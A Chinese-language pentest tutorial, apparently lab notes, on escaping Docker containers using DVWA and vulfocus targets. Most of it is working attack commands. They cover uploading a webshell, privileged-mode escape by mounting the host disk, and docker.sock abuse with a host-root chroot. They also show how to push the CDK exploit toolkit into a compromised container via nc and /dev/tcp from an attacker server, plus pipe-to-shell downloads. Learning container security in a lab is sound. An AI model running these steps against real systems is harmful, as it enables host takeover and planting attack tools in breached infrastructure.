环境搭建
https://hub.docker.com #搜dvwa,alpine
https://wiki.teamssix.com/CloudNative/ #相关命令查询
查看镜像
启动
docker run -it -p 8080:80 e901498e651a
访问,账号:密码 admin:password,进去后创建数据库即可
将等级调成low
容器检测
没有权限:端口扫描详细信息,根据应用对象表现
拿到权限:https://blog.youkuaiyun.com/qq_23936389/article/details/131486643
VM&&docker&&k8s
这里以docker环境为例子
直接传个在上传点上传个马子
判断docker环境
(因为权限问题,有些回显不全)
1.查询cgroup信息
cat /proc/1/cgroup |grep docker
2.检查/.dockerenv文件
3.检查mount信息
mount | grep '/ type'
4.查看硬盘信息
fdisk -l
容器输出为空,非容器有内容输出。
5.查看文件系统以及挂载点
df -h |egrep '(overlay|aufs)'
6.环境变量
env
容器逃逸-特权模式
再ubuntu的/
目录建立一个flag
flag{this is flag,doker is bypass}
如果再创建的镜像当中看到这个flag,证明逃逸成功
启动靶场:
docker run --rm --privileged=true -it alpine
检测环境:
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
判断特权:
cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff
查看目录:
fdisk -l
特权逃逸:
注意这里挂载点,是Type=Linux的
mkdir /test1 && mount /dev/sda5 /test1
判断结果:
cd /test/ && ls
容器逃逸-危险挂载
1、挂载Docker Socket逃逸
启动靶场:
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入环境:
docker exec -it with_docker_sock /bin/bash
检测环境:
ls -lah /var/run/docker.sock
挂载逃逸:
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
apt-get update && apt-get install curl && curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
chroot /host
模拟真实场景
1、高权限-Web入口到Docker逃逸(Java)
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
容器检测docker
whoami
cd / &&ls -la
cat /proc/1/cgroup |grep docker
mount | grep '/ type'
判断特权
cat /proc/self/status | grep CapEff
查看目录
fdisk -l
特权逃逸:
mkdir /test1 && mount /dev/sda5 /test1
判断结果:
cd /test/ && ls
2、低权限-Web入口到Docker逃逸(PHP)
(基本就无了)
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
容器逃逸&CDK自动化
检测利用:https://github.com/cdk-team/CDK
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
将可执行文件投递到已攻入的容器内部开始使用
https://github.com/cdk-team/CDK/releases/
技巧:在真实渗透中如何通过漏洞exploit向容器中投递CDK
如果你的漏洞利用过程允许上传文件,即可直接植入CDK。
如果你可以在目标容器中执行命令(RCE),但容器中没有wget
或curl
命令,可以参考下面方法植入:
将CDK下载到你的公网服务器,监听端口:
nc -lvp 999 < cdk
在已攻入的目标容器中执行:
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk
常规检测利用:https://github.com/teamssix/container-escape-check
在 Docker 容器中一键运行:
wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O- | bash
或者克隆项目到容器中运行:
git clone https://github.com/teamssix/container-escape-check.git
cd container-escape-check
chmod +x container-escape-check.sh
./container-escape-check.sh